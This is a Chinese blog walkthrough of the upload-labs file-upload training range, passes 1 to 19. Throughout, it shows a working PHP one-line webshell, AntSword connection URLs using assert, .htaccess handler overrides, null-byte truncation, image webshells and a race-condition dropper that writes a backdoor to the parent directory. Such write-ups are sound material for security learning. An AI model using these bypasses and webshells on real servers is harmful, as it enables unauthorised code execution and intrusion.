UPLOAD-LABS通关记录

UPLOAD-LABS通关记录

简介

首先upload-labs是一个用php语言编写的靶场,它专门用于收集渗透测试和CTF(Capture The Flag)竞赛中遇到的各种文件上传漏洞。其目的是为了帮助使用者全面了解和学习有关文件上传漏洞的知识。目前该平台共有20个关卡,我自己补充了一个新的关卡。

其次这个靶场我是通过phpstudy软件在Windows操作系统上构建的,可能一些关卡在Linux上是完成不了的请注意。

下面就来开始Game.

Pass-01(前端验证绕过)

环境:Windows,PHP5.6.9,Nginx1.15.11

木马上传

本pass在客户端使用js对不合法图片进行检查!然而浏览器可以关闭网页对js的支持进而导致js的检测作用失效
在这里插入图片描述
禁止使用js后,直接上传php的一句话脚本即可。
在这里插入图片描述
在这里插入图片描述

蚁剑连接测试
构造的一句话木马<?php $_GET[0]($_POST[1]);?>
构造URL:http://xxx.xxx.xxx.xxx:xxx/upload/web.php/?0=assert
get传参0=assert用于执行蚁剑的eval函数,post连接密码为1
在这里插入图片描述

Pass-02(MIME绕过)

环境:Windows,PHP5.6.9,Nginx1.15.11
木马上传
本pass在服务器端检查数据包的Content-Type属性值,我们可以使用Burp Suite将Content-Type的值修改为image/jpeg,就可以轻松绕过检查。

在这里插入图片描述

蚁剑连接测试
构造的一句话木马<?php $_GET[0]($_POST[1]);?>
构造URL:http://xxx.xxx.xxx.xxx:xxx/upload/web.php/?0=assert
get传参0=assert用于执行蚁剑的eval函数,post连接密码为1
在这里插入图片描述

Pass-03(指定后缀绕过)

环境:Windows,PHP5.2.17,Apache2.4.39

木马上传

本pass程序设定了黑名单机制以禁止上传文件名以.asp、.aspx、.php、.jsp等后缀结尾的文件,并筛选了若干危险字符。不过,此类黑名单验证机制通常较易被绕过,而绕过的机制就是利用的Apache的特性,首先我们来部署Apache服务器,这需要下载了JspStudy(小皮面板的一个版本)来实现此目的。

虽然phpstudy的最新版本也能够部署Apache环境,但是我经过测试发现,始终无法成功解析成php文件,进一步研究发现,与Apache结合使用的TS版本PHP更为合适。尽管NTS版本也可以使用,但存在局限性。若想修改Apache的设置指令,则必须使用TS版本的PHP。不幸的是,最新的PHPStudy提供的都是NTS版本的PHP,网络上的教程也主要针对TS版本,针对NTS版本的修改指南寥寥无几。这造成了我在尝试修改PHPStudy中的Apache配置时遇到困难,因为修改似乎没有生效。为了节省时间,我就下载了JspStudy来专门部署Apache环境

下面我们来更改Apache配置文件,具体操作如下:

# 将原有的命令
# AddType application/x-httpd-php .php .phtml
# 修改为
AddType application/x-httpd-php .php .phtml .php5 .php3 .php2 .php1

修改配置文件后,需要重启phpstudy服务环境,使新的设置生效。AddType命令的作用是告诉Apache将所有列出的文件后缀作为PHP文件来解析。这样,我们就可以将后缀为.php1至.php5的文件上传到服务器,这些文件将被成功解析为PHP文件,具体可解析的后缀范围取决于AddType属性所指定的。通过这种方法可以绕开黑名单的限制,实现恶意文件的上传。
在这里插入图片描述
在这里插入图片描述
OK,文件解析成功了。
蚁剑连接测试
构造的一句话木马<?php $_GET[0]($_POST[1]);?>
构造URL:http://xxx.xxx.xxx.xxx:xxx/upload/web.php1/?0=assert
get传参0=assert用于执行蚁剑的eval函数,post连接密码为1
在这里插入图片描述

Pass-04(.htaccess)

环境:Windows,PHP5.2.17,Apache2.4.39

木马上传

当前关卡继续使用黑名单验证机制,并且与前一关相比,过滤功能得到了加强。然而在Apache环境中,我们还可以利用.htaccess文件来对特定目录及其子目录实行独立配置。.htaccess文件常用于URL重写、访问控制和自定义错误页面等功能,并且它工作于分布式配置环境,这意味着在不修改主服务器配置文件的前提下,可以在不同目录下实现配置的覆盖。因此,我们可以采取以下策略:

首先上传一个包含以下内容的.htaccess文件:

SetHandler application/x-httpd-php

在这里插入图片描述
这条指令会使服务器将所有上传的文件视为PHP文件进行解析。有了这个设置,我们就可以直接上传图片格式的PHP后门文件了。
在这里插入图片描述
解析成功。

蚁剑连接测试
构造的一句话木马<?php $_GET[0]($_POST[1]);?>
构造URL:http://xxx.xxx.xxx.xxx:xxx/upload/web.jpg/?0=assert
get传参0=assert用于执行蚁剑的eval函数,post连接密码为1
在这里插入图片描述

Pass-05(大小写绕过)

环境:Windows,PHP5.6.9,Nginx1.15.11

木马上传

本pass很简单,分析代码,发现它没用进行大小写过滤,而在Windows中是不严格区分大小写的,所以简单构造一个.Php.PHP.pHp等等后缀的php一句话后门就可以成功上传

在这里插入图片描述
在这里插入图片描述

蚁剑连接测试
构造的一句话木马<?php $_GET[0]($_POST[1]);?>
构造URL:http://xxx.xxx.xxx.xxx:xxx/upload/web.php/?0=assert
get传参0=assert用于执行蚁剑的eval函数,post连接密码为1
在这里插入图片描述

Pass-06(空格绕过)

环境:Windows,PHP5.6.9,Nginx1.15.11

木马上传

和上个pass一样简单,分析代码,发现和之前代码不同的是它没用对空格进行过滤,而Windows有一个特性会将文件末尾的空格自动删除,所以我们可以用BurpSuite对报文进行修改,尝试在文件名的末尾加一个空格(因为在windows中没办法直接上传末尾带空格的文件)

在这里插入图片描述

上传成功

蚁剑连接测试
构造的一句话木马<?php $_GET[0]($_POST[1]);?>
构造URL:http://xxx.xxx.xxx.xxx:xxx/upload/web.php/?0=assert
get传参0=assert用于执行蚁剑的eval函数,post连接密码为1
在这里插入图片描述

Pass-07(点绕过)

环境:Windows,PHP5.6.9,Nginx1.15.11

木马上传

这个pass和上面的一样,分析代码,发现和之前代码不同的是它没用对点.进行过滤,而Windows有一个特性会将文件末尾的.自动删除,所以我们依旧用BurpSuite对报文进行修改,尝试在文件名的末尾加一个.

在这里插入图片描述
在这里插入图片描述

蚁剑连接测试
构造的一句话木马<?php $_GET[0]($_POST[1]);?>
构造URL:http://xxx.xxx.xxx.xxx:xxx/upload/web.php/?0=assert
get传参0=assert用于执行蚁剑的eval函数,post连接密码为1
在这里插入图片描述

Pass-08(::$DATA绕过)

环境:Windows,PHP5.6.9,Nginx1.15.11

木马上传

这个pass依旧使用的Windows的特性,分析代码,发现和之前代码不同的是它没用对点::$DATA进行过滤,而Windows有一个特性会将文件末尾的::$DATA自动删除,所以还是用BurpSuite对报文进行修改,尝试在文件名的末尾加一个::$DATA

在这里插入图片描述
在这里插入图片描述

蚁剑连接测试
构造的一句话木马<?php $_GET[0]($_POST[1]);?>
构造URL:http://xxx.xxx.xxx.xxx:xxx/upload/web.php/?0=assert
get传参0=assert用于执行蚁剑的eval函数,post连接密码为1
在这里插入图片描述

Pass-09(deldot函数绕过)

环境:Windows,PHP5.6.9,Nginx1.15.11

木马上传

分析本pass代码,发现$file_name = deldot($file_name);//删除文件名末尾的点这样的一个代码,这里的deldot()函数可以利用,因为这个函数是从后向前检测的,当它检测到末尾的第一个点时会继续检测,但是遇到空格会停下来。那么利用这个特性我们可以构造一个php.空格.的文件后缀,这样他删掉一个.之后就会停止接着被删掉空格变成php.,最后windows自动删除最后.就成功当作php文件执行了

在这里插入图片描述
在这里插入图片描述

蚁剑连接测试
构造的一句话木马<?php $_GET[0]($_POST[1]);?>
构造URL:http://xxx.xxx.xxx.xxx:xxx/upload/web.php/?0=assert
get传参0=assert用于执行蚁剑的eval函数,post连接密码为1
在这里插入图片描述

Pass-10(双写绕过)

环境:Windows,PHP5.6.9,Nginx1.15.11

木马上传

分析代码发现,本pass是将黑名单匹配到的后缀替换为空,像这种替换为的方式就可以考虑双写来绕过,那么尝试上传一个.pphphp为后缀的文件,这样把中间的php替换为之后前后有拼接成了php,那么这个php文件就上传成功了

在这里插入图片描述
在这里插入图片描述

蚁剑连接测试
构造的一句话木马<?php $_GET[0]($_POST[1]);?>
构造URL:http://xxx.xxx.xxx.xxx:xxx/upload/web.php/?0=assert
get传参0=assert用于执行蚁剑的eval函数,post连接密码为1
在这里插入图片描述

Pass-11(GET00截断)

环境:Windows,PHP5.2.17,Nginx1.15.11

木马上传

本pass的关键在于save_path变量,这是一个可控的变量。过去,我们可以使用%00截断技术来利用这一点,但这种方法已经过时,因为它的使用条件要求PHP版本必须低于5.3.4,而且magic_quotes_gpc设置为OFF。然而,目前PHP版本已经升级到8.0,相关漏洞也已得到修复。

之所以%00能够实现截断,是因为PHP底层的一些函数是用C语言编写的,move_uploaded_file就是其中之一。这些函数在遇到0x00(即null字节)时会停止读取数据,因为在C语言中0x00表示字符串的结束。在URL中,%00经过解码后就是16进制的0x00。
在这里插入图片描述

出现报错,说明没有问题,下面尝试连接。

蚁剑连接测试

构造的一句话木马<?php $_GET[0]($_POST[1]);?>
构造URL:http://xxx.xxx.xxx.xxx:xxx/upload/web.php%EF%BF%BD/6620240312113846.jpg/?0=assert
get传参0=assert用于执行蚁剑的eval函数,post连接密码为1
蓝色的部分是被截断的部分删不删无所谓不影响连接
在这里插入图片描述

Pass-12(POST00截断)

环境:Windows,PHP5.2.17,Nginx1.15.11

木马上传

本pass和上一关最主要的区别是传参方式,依旧使用00截断,但这里是post传参所以有点区别,我们可以先在文件后面加一个任意字母然后转为16进制,再将这个字母转化的16进制改成00就可以了像这样:
在这里插入图片描述

蚁剑连接测试

构造的一句话木马<?php $_GET[0]($_POST[1]);?>
构造URL:http://xxx.xxx.xxx.xxx:xxxx/upload/web.php%EF%BF%BD/5320240312114415.jpg/?0=assert
get传参0=assert用于执行蚁剑的eval函数,post连接密码为1
在这里插入图片描述

Pass-13(图片马)

环境:Windows,PHP5.6.9,Nginx1.15.11

木马上传

本pass提示是上传图片马到服务器,而且界面存在文件包含漏洞。它会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件,那么我们就可以使用 图片马 + 文件包含 绕过。
在这里插入图片描述
我们来制作一下图片马,这里使用cmd的copy命令制作:

copy aaa.png/b + web.php /a web.png 制作图片马,上传图片马

在这里插入图片描述

使用文本编辑器打开web.png,检查图片是否包含我们的php一句话木马

在这里插入图片描述

很明显图片内包含我们的php一句话木马,那么我们上传,然后复制图片链接利用文件包含漏洞构造payload:

http://xxx.xxx.xxx.xxxx:xxxx/include.php?file=upload/图片名.png

在这里插入图片描述

出现了函数报错,说明没有问题,下面就可以尝试连接了。

蚁剑连接测试

构造的一句话木马<?php $_GET[0]($_POST[1]);?>
构造URL:http://xxx.xxx.xxx.xxxx:xxxx/include.php?0=assert&file=upload/7920240312111611.png
get传参0=assert用于执行蚁剑的eval函数,post连接密码为1
在这里插入图片描述

Pass-14(getimagesize图片马)

环境:Windows,PHP5.6.9,Nginx1.15.11

木马上传

本pass是使用getimagesize()检查是否为图片文件,和第十四关的图片马绕过没啥区别,依旧是第十四关的流程,上传出现如下:
在这里插入图片描述

尝试连接即可。

蚁剑连接测试

构造的一句话木马<?php $_GET[0]($_POST[1]);?>
构造URL:http://xxx.xxx.xxx.xxx:xxxx/include.php?0=assert&file=upload/3920240312112506.png
get传参0=assert用于执行蚁剑的eval函数,post连接密码为1
在这里插入图片描述

Pass-15(exif_imagetype图片马)

环境:Windows,PHP5.6.9,Nginx1.15.11

木马上传

本pass是使用exif_imagetype()检查是否为图片文件,下面了解一下这个函数:

exif_imagetype() 函数读取图像文件的前几个字节并检查其签名,而不是后缀名,来确定文件的格式。该函数的返回值与 getimagesize() 函数返回数组的第二个元素相同, exif_imagetype() 的速度通常更快,因为它不需要读取整个文件。使用这个函数之前,需要确保已经启用了 php_exif 扩展模块。
在这里插入图片描述

但是这个函数依旧可以使用第十四关的图片马,绕过没啥区别依旧是第十四关的流程,上传出现如下:
在这里插入图片描述
尝试连接即可。

蚁剑连接测试

构造的一句话木马<?php $_GET[0]($_POST[1]);?>
构造URL:http://xxx.xxx.xxx.xxx:xxx/include.php?0=assert&file=upload/5620240312112715.png
get传参0=assert用于执行蚁剑的eval函数,post连接密码为1
在这里插入图片描述

Pass-16(二次渲染绕过)

环境:Windows,PHP5.6.9,Nginx1.15.11

木马上传

本关卡相较于前三关有所不同,首先是增加了对上传图片的判断机制,检查了文件的后缀名content-type属性。然后通过使用imagecreatefromgif函数来验证是否为合法的图片。

但最麻烦的部分是,上传的图片会经过二次渲染,这个过程基本上是将图片分解后重新组合,这种方法会导致嵌入图片中的PHP一句话木马代码被消除。那有没有什么办法让他不会打散我们的php代码呢?

答案是肯定的,我们可以在图片里面找到渲染后不发生变化的16进制部分来插入我们的一句话木马,这里最为推荐使用.gif的图片格式,相对于简单一点,因为jpgpng的格式很复杂,插入我们的php代码很容易导致文件损坏。

下面通过010 Editor来制作我们的特殊图片马,首先使用010 Editor打开图片文件:
在这里插入图片描述

你可以找到像这样有很多00的区域,下面将我们的一句话木马写在这个区域中:

在这里插入图片描述

保存文件上传然后利用文件包含漏洞进行解析出现如下:

在这里插入图片描述

尝试连接即可。

蚁剑连接测试

构造的一句话木马<?php $_GET[0]($_POST[1]);?>
构造URL:http://xxx.xxx.xxx.xxx:xxx/include.php?0=assert&file=upload/25630.gif
get传参0=assert用于执行蚁剑的eval函数,post连接密码为1
在这里插入图片描述

Pass-17(条件竞争1)

环境:Windows,PHP5.6.9,Nginx1.15.11

木马上传

本pass提示是让我们进行代码审计。那好我们直接看源码,首先服务器保存了上传的文件,接着将文件的后缀名与白名单进行比对,如果文件是jpgpnggif格式之一,就会对文件进行重命名。如果文件后缀名不在白名单内,则unlink()函数会删除该文件。

尽管代码表面上看似无懈可击,但我们发现它依旧存在文件包含漏洞,与上一关类似,上传一个图片木马并访问它即可。然而,如果网站没有文件包含漏洞,我们是否还能攻破它呢?

答案是肯定的。这段代码的问题在于代码执行需要时间,而这段代码先是上传文件,随后才进行删除。如果上传的PHP代码的功能是在上级目录生成一个一句话木马,我们只需在该PHP代码被删除之前访问它一次,之后便可访问新生成的一句话木马,从而达到攻破系统的目的。这类漏洞被称为条件竞争型漏洞,本质上是和程序的执行速度进行竞争。

首先我们来创建初始的php木马,木马内容如下:

<?php fputs(fopen('../web.php','w'),'<?php $_GET[0]($_POST[1])?>');?>

作用是在上一级目录生成web.php文件,文件的内容是<?php $_GET[0]($_POST[1]);?>

下面我们使用burpsuite不停的发包,然后我们不断在浏览器访问我们的webshell,直到一瞬间的访问成功。或者我们创建两个进程一个不停的发包,一个不停的访问webshell。下面我们采取第一种方式展示。

首先我们把抓到的包放到Intruder模块下
在这里插入图片描述

先清除payload位置,然后到payload选项,选择payload的类型为Null然后无限发包(也可以自己定制次数),开始攻击
在这里插入图片描述

最后来到浏览器上不停的访问我们的后门,Ctrl+R不停刷新,直到出现404之外的页面,如下图:
在这里插入图片描述

最后让我们访问一下上级目录的全新后门
在这里插入图片描述

OK,尝试连接蚁剑。

蚁剑连接测试

全新后门的一句话木马<?php $_GET[0]($_POST[1]);?>
构造URL:http://xxx.xxx.xxx.xxx:xxx/web.php/?0=assert
get传参0=assert用于执行蚁剑的eval函数,post连接密码为1
在这里插入图片描述

Pass-18(文件包含)

环境:Windows,PHP5.6.9,Nginx1.15.11

木马上传

本pass提示进行代码审计,通过分析源代码发现后缀名做了白名单判断,然后会检查文件大小、文件是否存在等等,最后将文件上传后并对其重新命名。
既然是白名单那就直接图片马 + 文件包含 绕过咯:
在这里插入图片描述

对于初步审视似乎正常的错误提示,仔细分析后发现错误信息并不符合预期。通过对错误信息的深入分析,可以推断上传的图片木马并未位于upload下。因此,我们接下来可以直接定位并获取图片木马的实际路径,像这样:

在这里插入图片描述

既然知道这个文件的路径,那就好办了,接着尝试更改路径访问

在这里插入图片描述

ok问题解决了。

本pass也存在一个条件竞争型的漏洞,通过分析代码可以发现代码是先将文件上传后,才对其文件重新命名,那么我们就可以上传一个图片马,而且需要在图片马没有被重命名之前访问它。但是要让图片马能够执行还要配合文件包含或者apache解析漏洞等,所以感觉这个漏洞无关紧要,不如直接利用文件包含来的实在

蚁剑连接测试
构造的一句话木马<?php $_GET[0]($_POST[1]);?>
构造URL:http://xxx.xxx.xxx.xxx:xxx/include.php?0=assert&file=upload1710293339.gif
get传参0=assert用于执行蚁剑的eval函数,post连接密码为1

在这里插入图片描述

Pass-19(move_uploaded_file特性绕过)

环境:Windows,PHP5.6.9,Nginx1.15.11

审计这个pass的代码,首先是黑名单过滤了很多文件扩展名,以防止恶意文件,然后提取我们输入的文件扩展名是否不在禁止上传的扩展名数组中。不是则正常,不对给提示。

简单来说就是没有对上传的文件做判断,只对用户输入的文件名做判断,但是move_uploaded_file()有一个特性,它会忽略掉文件末尾的 /.,那就好办了,我们就直接上传一个.jpg后缀的php一句话木马绕过检查,然后给这个文件命名为.php/.就绕过检查了。
在这里插入图片描述
测试一下
在这里插入图片描述

OK,直接连接蚁剑。

蚁剑连接测试
后门的一句话木马<?php $_GET[0]($_POST[1]);?>
构造URL:http://xxx.xxx.xxx.xxx:xxx/web.php/?0=assert
get传参0=assert用于执行蚁剑的eval函数,post连接密码为1
在这里插入图片描述

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-03-16 13:32:04       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-03-16 13:32:04       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-03-16 13:32:04       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-03-16 13:32:04       20 阅读

热门阅读

  1. Unix运维_CMake教程_CMake中的include指令和.cmake文件

    2024-03-16 13:32:04       21 阅读
  2. 关系型数据库和非关系型数据库

    2024-03-16 13:32:04       19 阅读
  3. 说说JVM的class文件(二)

    2024-03-16 13:32:04       17 阅读
  4. Lua-掌握Lua语言基础1

    2024-03-16 13:32:04       16 阅读
  5. redis的安装与string类型

    2024-03-16 13:32:04       15 阅读
  6. 关于static

    2024-03-16 13:32:04       18 阅读
  7. Tomcat数据源笔记

    2024-03-16 13:32:04       18 阅读
  8. Edge浏览器可以多开的几种方法

    2024-03-16 13:32:04       17 阅读